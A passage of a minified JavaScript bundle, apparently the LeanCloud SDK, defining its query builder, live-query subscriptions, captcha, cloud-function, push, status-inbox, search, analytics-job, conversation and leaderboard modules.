e.User._currentUserMatchesDisk=!0,e._refreshSubscriptionId()})})},_registerAuthenticationProvider:function(t){e.User._authProviders[t.getAuthType()]=t,!e._config.disableCurrentUser&&e.User.current()&&e.User.current()._synchronizeAuthData(t.getAuthType())},_logInWith:function(t,n,r){return e.Object._create("_User")._linkWith(t,n,r)}})}},function(e,t,n){"use strict";t.__esModule=!0;var r=n(74),i=function(e){return e&&e.__esModule?e:{default:e}}(r);t.default=function(e,t,n){return t in e?(0,i.default)(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}},function(e,t,n){"use strict";function r(e){return e&&e.__esModule?e:{default:e}}var i=n(9),o=r(i),s=n(2),a=r(s),u=n(0),c=n(19)("leancloud:query"),l=n(16),f=n(5),h=f._request,d=f.request,p=n(6),v=p.ensureArray,g=p.transformFetchOptions,m=p.continueWhile,_=function(e,t){if(void 0===e)throw new Error(t)};e.exports=function(e){e.Query=function(t){u.isString(t)&&(t=e.Object._getSubclass(t)),this.objectClass=t,this.className=t.prototype.className,this._where={},this._include=[],this._select=[],this._limit=-1,this._skip=0,this._defaultParams={}},e.Query.or=function(){var t=u.toArray(arguments),n=null;e._arrayEach(t,function(e){if(u.isNull(n)&&(n=e.className),n!==e.className)throw new Error("All queries must be for the same class")});var r=new e.Query(n);return r._orQuery(t),r},e.Query.and=function(){var t=u.toArray(arguments),n=null;e._arrayEach(t,function(e){if(u.isNull(n)&&(n=e.className),n!==e.className)throw new Error("All queries must be for the same class")});var r=new e.Query(n);return r._andQuery(t),r},e.Query.doCloudQuery=function(t,n,r){var i={cql:t};return u.isArray(n)?i.pvalues=n:r=n,h("cloudQuery",null,null,"GET",i,r).then(function(t){var n=new e.Query(t.className);return{results:u.map(t.results,function(e){var r=n._newObject(t);return r._finishFetch&&r._finishFetch(n._processResult(e),!0),r}),count:t.count,className:t.className}})},e.Query.fromJSON=function(t){var n=t.className,r=t.where,i=t.include,o=t.select,s=t.includeACL,a=t.limit,c=t.skip,l=t.order;if("string"!=typeof n)throw new TypeError("Invalid Query JSON, className must be a String.");var f=new e.Query(n);return u.extend(f,{_where:r,_include:i,_select:o,_includeACL:s,_limit:a,_skip:c,_order:l}),f},e.Query._extend=e._extend,u.extend(e.Query.prototype,{_processResult:function(e){return e},get:function(e,t){if(!u.isString(e))throw new Error("objectId must be a string");if(""===e)return a.default.reject(new l(l.OBJECT_NOT_FOUND,"Object not found."));var n=this._newObject();n.id=e;var r=this._getParams(),i={};return r.keys&&(i.keys=r.keys),r.include&&(i.include=r.include),r.includeACL&&(i.includeACL=r.includeACL),h("classes",this.className,e,"GET",g(i),t).then(function(e){if(u.isEmpty(e))throw new l(l.OBJECT_NOT_FOUND,"Object not found.");return n._finishFetch(n.parse(e),!0),n})},toJSON:function(){return{className:this.className,where:this._where,include:this._include,select:this._select,includeACL:this._includeACL,limit:this._limit,skip:this._skip,order:this._order}},_getParams:function(){var e=u.extend({},this._defaultParams,{where:this._where});return this._include.length>0&&(e.include=this._include.join(",")),this._select.length>0&&(e.keys=this._select.join(",")),void 0!==this._includeACL&&(e.returnACL=this._includeACL),this._limit>=0&&(e.limit=this._limit),this._skip>0&&(e.skip=this._skip),void 0!==this._order&&(e.order=this._order),e},_newObject:function(t){return t&&t.className?new e.Object(t.className):new this.objectClass},_createRequest:function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:this._getParams(),t=arguments[1],n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:"/classes/"+this.className;if(encodeURIComponent((0,o.default)(e)).length>2e3){return d({path:"/batch",method:"POST",data:{requests:[{method:"GET",path:"/1.1"+n,params:e}]},authOptions:t}).then(function(e){var t=e[0];if(t.success)return t.success;var n=new Error(t.error.error||"Unknown batch error");throw n.code=t.error.code,n})}return d({method:"GET",path:n,query:e,authOptions:t})},_parseResponse:function(e){var t=this;return u.map(e.results,function(n){var r=t._newObject(e);return r._finishFetch&&r._finishFetch(t._processResult(n),!0),r})},find:function(e){return this._createRequest(void 0,e).then(this._parseResponse.bind(this))},scan:function(){var e=this,t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},n=t.orderedBy,r=t.batchSize,i=arguments[1],o=this._getParams();c("scan %O",o),o.order&&(console.warn("The order of the query is ignored for Query#scan. Checkout the orderedBy option of Query#scan."),delete o.order),o.skip&&(console.warn("The skip option of the query is ignored for Query#scan."),delete o.skip),o.limit&&(console.warn("The limit option of the query is ignored for Query#scan."),delete o.limit),n&&(o.scan_key=n),r&&(o.limit=r);var s=a.default.resolve([]),l=void 0,f=!1;return{next:function(){return s=s.then(function(t){return f?[]:t.length>1?t:l||0===t.length?h("scan/classes",e.className,null,"GET",l?u.extend({},o,{cursor:l}):o,i).then(function(t){return l=t.cursor,e._parseResponse(t)}).then(function(e){return e.length||(f=!0),t.concat(e)}):(f=!0,t)}),s.then(function(e){return e.shift()}).then(function(e){return{value:e,done:f}})}}},destroyAll:function(t){return this.find(t).then(function(n){return e.Object.destroyAll(n,t)})},count:function(e){var t=this._getParams();return t.limit=0,t.count=1,this._createRequest(t,e).then(function(e){return e.count})},first:function(e){var t=this,n=this._getParams();return n.limit=1,this._createRequest(n,e).then(function(e){return u.map(e.results,function(e){var n=t._newObject();return n._finishFetch&&n._finishFetch(t._processResult(e),!0),n})[0]})},skip:function(e){return _(e,"undefined is not a valid skip value"),this._skip=e,this},limit:function(e){return _(e,"undefined is not a valid limit value"),this._limit=e,this},equalTo:function(t,n){return _(t,"undefined is not a valid key"),_(n,"undefined is not a valid value"),this._where[t]=e._encode(n),this},_addCondition:function(t,n,r){return _(t,"undefined is not a valid condition key"),_(n,"undefined is not a valid condition"),_(r,"undefined is not a valid condition value"),this._where[t]||(this._where[t]={}),this._where[t][n]=e._encode(r),this},sizeEqualTo:function(e,t){return this._addCondition(e,"$size",t),this},notEqualTo:function(e,t){return this._addCondition(e,"$ne",t),this},lessThan:function(e,t){return this._addCondition(e,"$lt",t),this},greaterThan:function(e,t){return this._addCondition(e,"$gt",t),this},lessThanOrEqualTo:function(e,t){return this._addCondition(e,"$lte",t),this},greaterThanOrEqualTo:function(e,t){return this._addCondition(e,"$gte",t),this},containedIn:function(e,t){return this._addCondition(e,"$in",t),this},notContainedIn:function(e,t){return this._addCondition(e,"$nin",t),this},containsAll:function(e,t){return this._addCondition(e,"$all",t),this},exists:function(e){return this._addCondition(e,"$exists",!0),this},doesNotExist:function(e){return this._addCondition(e,"$exists",!1),this},matches:function(e,t,n){return this._addCondition(e,"$regex",t),n||(n=""),t.ignoreCase&&(n+="i"),t.multiline&&(n+="m"),n&&n.length&&this._addCondition(e,"$options",n),this},matchesQuery:function(e,t){var n=t._getParams();return n.className=t.className,this._addCondition(e,"$inQuery",n),this},doesNotMatchQuery:function(e,t){var n=t._getParams();return n.className=t.className,this._addCondition(e,"$notInQuery",n),this},matchesKeyInQuery:function(e,t,n){var r=n._getParams();return r.className=n.className,this._addCondition(e,"$select",{key:t,query:r}),this},doesNotMatchKeyInQuery:function(e,t,n){var r=n._getParams();return r.className=n.className,this._addCondition(e,"$dontSelect",{key:t,query:r}),this},_orQuery:function(e){var t=u.map(e,function(e){return e._getParams().where});return this._where.$or=t,this},_andQuery:function(e){var t=u.map(e,function(e){return e._getParams().where});return this._where.$and=t,this},_quote:function(e){return"\\Q"+e.replace("\\E","\\E\\\\E\\Q")+"\\E"},contains:function(e,t){return this._addCondition(e,"$regex",this._quote(t)),this},startsWith:function(e,t){return this._addCondition(e,"$regex","^"+this._quote(t)),this},endsWith:function(e,t){return this._addCondition(e,"$regex",this._quote(t)+"$"),this},ascending:function(e){return _(e,"undefined is not a valid key"),this._order=e,this},addAscending:function(e){return _(e,"undefined is not a valid key"),this._order?this._order+=","+e:this._order=e,this},descending:function(e){return _(e,"undefined is not a valid key"),this._order="-"+e,this},addDescending:function(e){return _(e,"undefined is not a valid key"),this._order?this._order+=",-"+e:this._order="-"+e,this},near:function(t,n){return n instanceof e.GeoPoint||(n=new e.GeoPoint(n)),this._addCondition(t,"$nearSphere",n),this},withinRadians:function(e,t,n){return this.near(e,t),this._addCondition(e,"$maxDistance",n),this},withinMiles:function(e,t,n){return this.withinRadians(e,t,n/3958.8)},withinKilometers:function(e,t,n){return this.withinRadians(e,t,n/6371)},withinGeoBox:function(t,n,r){return n instanceof e.GeoPoint||(n=new e.GeoPoint(n)),r instanceof e.GeoPoint||(r=new e.GeoPoint(r)),this._addCondition(t,"$within",{$box:[n,r]}),this},include:function(e){var t=this;return _(e,"undefined is not a valid key"),u.forEach(arguments,function(e){t._include=t._include.concat(v(e))}),this},includeACL:function(){var e=!(arguments.length>0&&void 0!==arguments[0])||arguments[0];return this._includeACL=e,this},select:function(e){var t=this;return _(e,"undefined is not a valid key"),u.forEach(arguments,function(e){t._select=t._select.concat(v(e))}),this},each:function(t){var n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};if(this._order||this._skip||this._limit>=0){var r=new Error("Cannot iterate on a query with sort, skip, or limit.");return a.default.reject(r)}var i=new e.Query(this.objectClass);i._limit=n.batchSize||100,i._where=u.clone(this._where),i._include=u.clone(this._include),i.ascending("objectId");var o=!1;return m(function(){return!o},function(){return i.find(n).then(function(e){var n=a.default.resolve();return u.each(e,function(e){n=n.then(function(){return t(e)})}),n.then(function(){e.length>=i._limit?i.greaterThan("objectId",e[e.length-1].id):o=!0})})})},subscribe:function(t){return e.LiveQuery.init(this,t)}}),e.FriendShipQuery=e.Query._extend({_newObject:function(){return new(e.Object._getSubclass("_User"))},_processResult:function(e){if(e&&e[this._friendshipTag]){var t=e[this._friendshipTag];return"Pointer"===t.__type&&"_User"===t.className&&(delete t.__type,delete t.className),t}return null}})}},function(e,t,n){"use strict";var r=n(2),i=function(e){return e&&e.__esModule?e:{default:e}}(r),o=n(0),s=n(71),a=n(6),u=a.inherits,c=n(5),l=c.request,f=function(e,t){return l({method:"POST",path:"/LiveQuery/subscribe",data:{query:e,id:t}})};e.exports=function(e){var t=function(){if(!e._config.realtime)throw new Error("LiveQuery not supported. Please use the LiveQuery bundle. https://url.leanapp.cn/enable-live-query")};e.LiveQuery=u(s,{constructor:function(e,t,n,r){var i=this;s.apply(this),this.id=e,this._client=t,this._client.register(this),this._queryJSON=n,this._subscriptionId=r,this._onMessage=this._dispatch.bind(this),this._onReconnect=function(){f(i._queryJSON,i._subscriptionId).catch(function(e){return console.error("LiveQuery resubscribe error: "+e.message)})},t.on("message",this._onMessage),t.on("reconnect",this._onReconnect)},_dispatch:function(t){var n=this;t.forEach(function(t){var r=t.op,i=t.object,s=t.query_id,a=t.updatedKeys;if(s===n.id){var u=e.parseJSON(o.extend({__type:"_File"===i.className?"File":"Object"},i));a?n.emit(r,u,a):n.emit(r,u)}})},unsubscribe:function(){var e=this._client;return e.off("message",this._onMessage),e.off("reconnect",this._onReconnect),e.deregister(this),l({method:"POST",path:"/LiveQuery/unsubscribe",data:{id:e.id,query_id:this.id}})}},{init:function(n){var r=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},o=r.subscriptionId,s=void 0===o?e._getSubscriptionId():o;if(t(),!(n instanceof e.Query))throw new TypeError("LiveQuery must be inited with a Query");return i.default.resolve(s).then(function(t){return e._config.realtime.createLiveQueryClient(t).then(function(r){var i=n._getParams(),o=i.where,s=i.keys,a=i.returnACL,u={where:o,keys:s,returnACL:a,className:n.className},c=f(u,t).then(function(n){var i=n.query_id;return new e.LiveQuery(i,r,u,t)}).finally(function(){r.deregister(c)});return r.register(c),c})})},pause:function(){return t(),e._config.realtime.pause()},resume:function(){return t(),e._config.realtime.resume()}})}},function(e,t,n){"use strict";var r=n(0),i=n(6),o=i.tap;e.exports=function(e){e.Captcha=function(e,t){this._options=e,this._authOptions=t,this.url=void 0,this.captchaToken=void 0,this.validateToken=void 0},e.Captcha.prototype.refresh=function(){var t=this;return e.Cloud._requestCaptcha(this._options,this._authOptions).then(function(e){var n=e.captchaToken,i=e.url;return r.extend(t,{captchaToken:n,url:i}),i})},e.Captcha.prototype.verify=function(t){var n=this;return e.Cloud.verifyCaptcha(t,this.captchaToken).then(o(function(e){return n.validateToken=e}))},e.Captcha.prototype.bind=function(e,t){var n=this,r=e.textInput,i=e.image,o=e.verifyButton,s=t.success,a=t.error;if("string"==typeof r&&!(r=document.getElementById(r)))throw new Error("textInput with id "+r+" not found");if("string"==typeof i&&!(i=document.getElementById(i)))throw new Error("image with id "+i+" not found");if("string"==typeof o&&!(o=document.getElementById(o)))throw new Error("verifyButton with id "+o+" not found");this.__refresh=function(){return n.refresh().then(function(e){i.src=e,r&&(r.value="",r.focus())}).catch(function(e){return console.warn("refresh captcha fail: "+e.message)})},i&&(this.__image=i,i.src=this.url,i.addEventListener("click",this.__refresh)),this.__verify=function(){var e=r.value;n.verify(e).catch(function(e){throw n.__refresh(),e}).then(s,a).catch(function(e){return console.warn("verify captcha fail: "+e.message)})},r&&o&&(this.__verifyButton=o,o.addEventListener("click",this.__verify))},e.Captcha.prototype.unbind=function(){this.__image&&this.__image.removeEventListener("click",this.__refresh),this.__verifyButton&&this.__verifyButton.removeEventListener("click",this.__verify)},e.Captcha.request=function(t,n){var r=new e.Captcha(t,n);return r.refresh().then(function(){return r})}}},function(e,t,n){"use strict";var r=n(2),i=function(e){return e&&e.__esModule?e:{default:e}}(r),o=n(0),s=n(5),a=s._request,u=s.request;e.exports=function(e){e.Cloud=e.Cloud||{},o.extend(e.Cloud,{run:function(t,n,r){return u({service:"engine",method:"POST",path:"/functions/"+t,data:e._encode(n,null,!0),authOptions:r}).then(function(t){return e._decode(t).result})},rpc:function(t,n,r){return o.isArray(n)?i.default.reject(new Error("Can't pass Array as the param of rpc function in JavaScript SDK.")):u({service:"engine",method:"POST",path:"/call/"+t,data:e._encodeObjectOrArray(n),authOptions:r}).then(function(t){return e._decode(t).result})},getServerDate:function(){return a("date",null,null,"GET").then(function(t){return e._decode(t)})},requestSmsCode:function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};if(o.isString(e)&&(e={mobilePhoneNumber:e}),!e.mobilePhoneNumber)throw new Error("Missing mobilePhoneNumber.");return t.validateToken&&(e=o.extend({},e,{validate_token:t.validateToken})),a("requestSmsCode",null,null,"POST",e,t)},verifySmsCode:function(e,t){if(!e)throw new Error("Missing sms code.");var n={};return o.isString(t)&&(n.mobilePhoneNumber=t),a("verifySmsCode",e,null,"POST",n)},_requestCaptcha:function(e,t){return a("requestCaptcha",null,null,"GET",e,t).then(function(e){var t=e.captcha_url;return{captchaToken:e.captcha_token,url:t}})},requestCaptcha:e.Captcha.request,verifyCaptcha:function(e,t){return a("verifyCaptcha",null,null,"POST",{captcha_code:e,captcha_token:t}).then(function(e){return e.validate_token})}})}},function(e,t,n){"use strict";var r=n(5).request;e.exports=function(e){e.Installation=e.Object.extend("_Installation"),e.Push=e.Push||{},e.Push.send=function(e,t){if(e.where&&(e.where=e.where._getParams().where),e.where&&e.cql)throw new Error("Both where and cql can't be set");if(e.push_time&&(e.push_time=e.push_time.toJSON()),e.expiration_time&&(e.expiration_time=e.expiration_time.toJSON()),e.expiration_time&&e.expiration_time_interval)throw new Error("Both expiration_time and expiration_time_interval can't be set");return r({service:"push",method:"POST",path:"/push",data:e,authOptions:t})}}},function(e,t,n){"use strict";function r(e){return e&&e.__esModule?e:{default:e}}var i=n(2),o=r(i),s=n(28),a=r(s),u=n(0),c=n(5)._request,l=n(6),f=l.getSessionToken;e.exports=function(e){var t=function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};return f(t)?e.User._fetchUserBySessionToken(f(t)):e.User.currentAsync()},n=function(n){return t(n).then(function(t){return e.Object.createWithoutData("_User",t.id)._toPointer()})};e.Status=function(e,t){return this.data={},this.inboxType="default",this.query=null,e&&"object"===(void 0===e?"undefined":(0,a.default)(e))?this.data=e:(e&&(this.data.image=e),t&&(this.data.message=t)),this},u.extend(e.Status.prototype,{get:function(e){return this.data[e]},set:function(e,t){return this.data[e]=t,this},destroy:function(e){return this.id?c("statuses",null,this.id,"DELETE",e):o.default.reject(new Error("The status id is not exists."))},toObject:function(){return this.id?e.Object.createWithoutData("_Status",this.id):null},_getDataJSON:function(){var t=u.clone(this.data);return e._encode(t)},send:function(){var t=this,r=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};if(!f(r)&&!e.User.current())throw new Error("Please signin an user.");return this.query?n(r).then(function(e){var n=t.query._getParams();n.className=t.query.className;var i={};return i.query=n,t.data=t.data||{},t.data.source=t.data.source||e,i.data=t._getDataJSON(),i.inboxType=t.inboxType||"default",c("statuses",null,null,"POST",i,r)}).then(function(n){return t.id=n.objectId,t.createdAt=e._parseDate(n.createdAt),t}):e.Status.sendStatusToFollowers(this,r)},_finishFetch:function(t){this.id=t.objectId,this.createdAt=e._parseDate(t.createdAt),this.updatedAt=e._parseDate(t.updatedAt),this.messageId=t.messageId,delete t.messageId,delete t.objectId,delete t.createdAt,delete t.updatedAt,this.data=e._decode(t)}}),e.Status.sendStatusToFollowers=function(t){var r=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};if(!f(r)&&!e.User.current())throw new Error("Please signin an user.");return n(r).then(function(n){var i={};i.className="_Follower",i.keys="follower",i.where={user:n};var o={};return o.query=i,t.data=t.data||{},t.data.source=t.data.source||n,o.data=t._getDataJSON(),o.inboxType=t.inboxType||"default",c("statuses",null,null,"POST",o,r).then(function(n){return t.id=n.objectId,t.createdAt=e._parseDate(n.createdAt),t})})},e.Status.sendPrivateStatus=function(t,r){var i=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{};if(!f(i)&&!e.User.current())throw new Error("Please signin an user.");if(!r)throw new Error("Invalid target user.");var o=u.isString(r)?r:r.id;if(!o)throw new Error("Invalid target user.");return n(i).then(function(n){var r={};r.className="_User",r.where={objectId:o};var s={};return s.query=r,t.data=t.data||{},t.data.source=t.data.source||n,s.data=t._getDataJSON(),s.inboxType="private",t.inboxType="private",c("statuses",null,null,"POST",s,i).then(function(n){return t.id=n.objectId,t.createdAt=e._parseDate(n.createdAt),t})})},e.Status.countUnreadStatuses=function(n){var r=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"default",i=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{};if(u.isString(r)||(i=r),!f(i)&&null==n&&!e.User.current())throw new Error("Please signin an user or pass the owner objectId.");return o.default.resolve(n||t(i)).then(function(t){var n={};return n.inboxType=e._encode(r),n.owner=e._encode(t),c("subscribe/statuses/count",null,null,"GET",n,i)})},e.Status.resetUnreadCount=function(n){var r=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"default",i=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{};if(u.isString(r)||(i=r),!f(i)&&null==n&&!e.User.current())throw new Error("Please signin an user or pass the owner objectId.");return o.default.resolve(n||t(i)).then(function(t){var n={};return n.inboxType=e._encode(r),n.owner=e._encode(t),c("subscribe/statuses/resetUnreadCount",null,null,"POST",n,i)})},e.Status.statusQuery=function(t){var n=new e.Query("_Status");return t&&n.equalTo("source",t),n},e.InboxQuery=e.Query._extend({_objectClass:e.Status,_sinceId:0,_maxId:0,_inboxType:"default",_owner:null,_newObject:function(){return new e.Status},_createRequest:function(t,n){return e.InboxQuery.__super__._createRequest.call(this,t,n,"/subscribe/statuses")},sinceId:function(e){return this._sinceId=e,this},maxId:function(e){return this._maxId=e,this},owner:function(e){return this._owner=e,this},inboxType:function(e){return this._inboxType=e,this},_getParams:function(){var t=e.InboxQuery.__super__._getParams.call(this);return t.owner=e._encode(this._owner),t.inboxType=e._encode(this._inboxType),t.sinceId=e._encode(this._sinceId),t.maxId=e._encode(this._maxId),t}}),e.Status.inboxQuery=function(t,n){var r=new e.InboxQuery(e.Status);return t&&(r._owner=t),n&&(r._inboxType=n),r}}},function(e,t,n){"use strict";var r=n(9),i=function(e){return e&&e.__esModule?e:{default:e}}(r),o=n(0),s=n(5)._request;e.exports=function(e){e.SearchSortBuilder=function(){this._sortFields=[]},o.extend(e.SearchSortBuilder.prototype,{_addField:function(e,t,n,r){var i={};return i[e]={order:t||"asc",mode:n||"avg",missing:"_"+(r||"last")},this._sortFields.push(i),this},ascending:function(e,t,n){return this._addField(e,"asc",t,n)},descending:function(e,t,n){return this._addField(e,"desc",t,n)},whereNear:function(e,t,n){n=n||{};var r={},i={lat:t.latitude,lon:t.longitude},o={order:n.order||"asc",mode:n.mode||"avg",unit:n.unit||"km"};return o[e]=i,r._geo_distance=o,this._sortFields.push(r),this},build:function(){return(0,i.default)(e._encode(this._sortFields))}}),e.SearchQuery=e.Query._extend({_sid:null,_hits:0,_queryString:null,_highlights:null,_sortBuilder:null,_createRequest:function(e,t){return s("search/select",null,null,"GET",e||this._getParams(),t)},sid:function(e){return this._sid=e,this},queryString:function(e){return this._queryString=e,this},highlights:function(e){var t;return t=e&&o.isString(e)?arguments:e,this._highlights=t,this},sortBy:function(e){return this._sortBuilder=e,this},hits:function(){return this._hits||(this._hits=0),this._hits},_processResult:function(e){return delete e.className,delete e._app_url,delete e._deeplink,e},hasMore:function(){return!this._hitEnd},reset:function(){this._hitEnd=!1,this._sid=null,this._hits=0},find:function(){var e=this;return this._createRequest().then(function(t){return t.sid?(e._oldSid=e._sid,e._sid=t.sid):(e._sid=null,e._hitEnd=!0),e._hits=t.hits||0,o.map(t.results,function(n){n.className&&(t.className=n.className);var r=e._newObject(t);return r.appURL=n._app_url,r._finishFetch(e._processResult(n),!0),r})})},_getParams:function(){var t=e.SearchQuery.__super__._getParams.call(this);if(delete t.where,this.className&&(t.clazz=this.className),this._sid&&(t.sid=this._sid),!this._queryString)throw new Error("Please set query string.");if(t.q=this._queryString,this._highlights&&(t.highlights=this._highlights.join(",")),this._sortBuilder&&t.order)throw new Error("sort and order can not be set at same time.");return this._sortBuilder&&(t.sort=this._sortBuilder.build()),t}})}},function(e,t,n){"use strict";var r=n(2),i=function(e){return e&&e.__esModule?e:{default:e}}(r),o=n(0),s=n(16),a=n(5),u=a.request;e.exports=function(e){e.Insight=e.Insight||{},o.extend(e.Insight,{startJob:function(t,n){if(!t||!t.sql)throw new Error("Please provide the sql to run the job.");var r={jobConfig:t,appId:e.applicationId};return u({path:"/bigquery/jobs",method:"POST",data:e._encode(r,null,!0),authOptions:n,signKey:!1}).then(function(t){return e._decode(t).id})},on:function(e,t){}}),e.Insight.JobQuery=function(e,t){if(!e)throw new Error("Please provide the job id.");this.id=e,this.className=t,this._skip=0,this._limit=100},o.extend(e.Insight.JobQuery.prototype,{skip:function(e){return this._skip=e,this},limit:function(e){return this._limit=e,this},find:function(e){var t={skip:this._skip,limit:this._limit};return u({path:"/bigquery/jobs/"+this.id,method:"GET",query:t,authOptions:e,signKey:!1}).then(function(e){return e.error?i.default.reject(new s(e.code,e.error)):i.default.resolve(e)})}})}},function(e,t,n){"use strict";var r=n(9),i=function(e){return e&&e.__esModule?e:{default:e}}(r),o=n(0),s=n(5),a=s._request,u=n(18),c=function(e){return"string"==typeof e?e:"function"==typeof e.getPayload?(0,i.default)(e.getPayload()):(0,i.default)(e)};e.exports=u.Object.extend("_Conversation",{constructor:function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};u.Object.prototype.constructor.call(this,null,null),this.set("name",e),void 0!==t.isSystem&&this.set("sys",!!t.isSystem),void 0!==t.isTransient&&this.set("tr",!!t.isTransient)},getCreator:function(){return this.get("c")},getLastMessageAt:function(){return this.get("lm")},getMembers:function(){return this.get("m")},addMember:function(e){return this.add("m",e)},getMutedMembers:function(){return this.get("mu")},getName:function(){return this.get("name")},isTransient:function(){return this.get("tr")},isSystem:function(){return this.get("sys")},send:function(e,t){var n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{},r=arguments.length>3&&void 0!==arguments[3]?arguments[3]:{},i={from_peer:e,conv_id:this.id,transient:!1,message:c(t)};return void 0!==n.toClients&&(i.to_peers=n.toClients),void 0!==n.transient&&(i.transient=!!n.transient),void 0!==n.pushData&&(i.push_data=n.pushData),a("rtm","messages",null,"POST",i,r)},broadcast:function(e,t){var n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{},r=arguments.length>3&&void 0!==arguments[3]?arguments[3]:{},i={from_peer:e,conv_id:this.id,message:c(t)};if(void 0!==n.pushData&&(i.push=n.pushData),void 0!==n.validTill){var s=n.validTill;o.isDate(s)&&(s=s.getTime()),n.valid_till=s}return a("rtm","broadcast",null,"POST",i,r)}})},function(e,t,n){"use strict";function r(e){var t=e.name,n=e.value,r=e.version;this.name=t,this.value=n,this.version=r}var i=n(2),o=function(e){return e&&e.__esModule?e:{default:e}}(i),s=n(0),a=n(5),u=a.request,c=n(6),l=c.ensureArray,f=c.parseDate,h=n(18);h.LeaderboardVersionChangeInterval={NEVER:"never",DAY:"day",WEEK:"week",MONTH:"month"},h.LeaderboardOrder={ASCENDING:"ascending",DESCENDING:"descending"},h.LeaderboardUpdateStrategy={BETTER:"better",LAST:"last",SUM:"sum"};var d=function(e){var t=h._decode(e);return new r({name:t.statisticName,value:t.statisticValue,version:t.version})};h.Leaderboard=function(e){this.statisticName=e,this.order=void 0,this.updateStrategy=void 0,this.versionChangeInterval=void 0,this.version=void 0,this.nextResetAt=void 0,this.createdAt=void 0};var p=h.Leaderboard;h.Leaderboard.createWithoutData=function(e){return new p(e)},h.Leaderboard.createLeaderboard=function(e,t){var n=e.statisticName,r=e.order,i=e.versionChangeInterval,o=e.updateStrategy;return u({method:"POST",path:"/leaderboard/leaderboards",data:{statisticName:n,order:r,versionChangeInterval:i,updateStrategy:o},authOptions:t}).then(function(e){return new p(n)._finishFetch(e)})},h.Leaderboard.getLeaderboard=function(e,t){return p.createWithoutData(e).fetch(t)},h.Leaderboard.getStatistics=function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},n=t.statisticNames,r=arguments[2];return o.default.resolve().then(function(){if(!e||!e.id)throw new Error("user must be an AV.User");return u({method:"GET",path:"/leaderboard/users/"+e.id+"/statistics",query:{statistics:n?l(n).join(","):void 0},authOptions:r}).then(function(e){return e.results.map(d)})})},h.Leaderboard.updateStatistics=function(e,t){var n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{};return o.default.resolve().then(function(){if(!e||!e.id)throw new Error("user must be an AV.User");var r=s.map(t,function(e,t){return{statisticName:t,statisticValue:e}}),i=n.overwrite;return u({method:"POST",path:"/leaderboard/users/"+e.id+"/statistics",query:{overwrite:i?1:void 0},data:r,authOptions:n}).then(function(e){return e.results.map(d)})})},h.Leaderboard.deleteStatistics=function(e,t,n){return o.default.resolve().then(function(){if(!e||!e.id)throw new Error("user must be an AV.User");return u({method:"DELETE",path:"/leaderboard/users/"+e.id+"/statistics",query:{statistics:l(t).join(",")},authOptions:n}).then(function(){})})},s.extend(p.prototype,{_finishFetch:function(e){var t=this;return s.forEach(e,function(e,n){"updatedAt"!==n&&"objectId"!==n&&("expiredAt"===n&&(n="nextResetAt"),"createdAt"===n&&(e=f(e)),e&&"Date"===e.__type&&(e=f(e.iso)),t[n]=e)}),this},fetch:function(e){var t=this;return u({method:"GET",path:"/leaderboard/leaderboards/"+this.statisticName,authOptions:e}).then(function(e){return t._finishFetch(e)})},count:function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},t=e.version,n=arguments[1];return u({method:"GET",path:"/leaderboard/leaderboards/"+this.statisticName+"/ranks",query:{count:1,limit:0,version:t},authOptions:n}).then(function(e){return e.count})},_getResults:function(e,t,n){var r=e.skip,i=e.limit,o=e.selectUserKeys,a=e.includeUserKeys,c=e.includeStatistics,f=e.version;return u({method:"GET",path:"/leaderboard/leaderboards/"+this.statisticName+"/ranks"+(n?"/"+n:""),query:{skip:r,limit:i,selectUserKeys:s.union(l(o),l(a)).join(",")||void 0,includeUser:a?l(a).join(","):void 0,includeStatistics:c?l(c).join(","):void 0,version:f},authOptions:t}).then(function(e){return e.results.map(function(e){var t=h._decode(e),n=t.user,r=t.statisticValue,i=t.rank,o=t.statistics;return{user:n,value:r,rank:i,includedStatistics:(void 0===o?[]:o).map(d)}})})},getResults:function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},t=e.skip,n=e.limit,r=e.selectUserKeys,i=e.includeUserKeys,o=e.includeStatistics,s=e.version,a=arguments[1];return this._getResults({skip:t,limit:n,selectUserKeys:r,includeUserKeys:i,includeStatistics:o,version:s},a)},getResultsAroundUser:function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},n=arguments[2];if(e&&"string"!=typeof e.id)return this.getResultsAroundUser(void 0,e,t);var r=t.limit,i=t.selectUserKeys,o=t.includeUserKeys,s=t.includeStatistics,a=t.version;return this._getResults({limit:r,selectUserKeys:i,includeUserKeys:o,includeStatistics:s,version:a},n,e?e.id:"self")},_update:function(e,t){var n=this;return u({method:"PUT",path:"/leaderboard/leaderboards/"+this.statisticName,data:e,authOptions:t}).then(function(e){return n._finishFetch(e)})},updateVersionChangeInterval:function(e,t){return this._update({versionChangeInterval:e},t)},updateUpdateStrategy:function(e,t){return this._update({updateStrategy:e},t)},reset:function(e){var t=this;return u({method:"PUT",path:"/leaderboard/leaderboards/"+this.statisticName+"/incrementVersion",authOptions:e}).then(function(e){return t._finishFetch(e)})},destroy:function(e){return h.request({method:"DELETE",path:"/leaderboard/leaderboards/"+this.statisticName,authOptions:e}).then(function(){})},getArchives:function(){var e=this,t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},n=t.skip,r=t.limit,i=arguments[1];return u({method:"GET",path:"/leaderboard/leaderboards/"+this.statisticName+"/archives",query:{skip:n,limit:r},authOptions:i}).then(function(t){return t.results.map(function(t){var 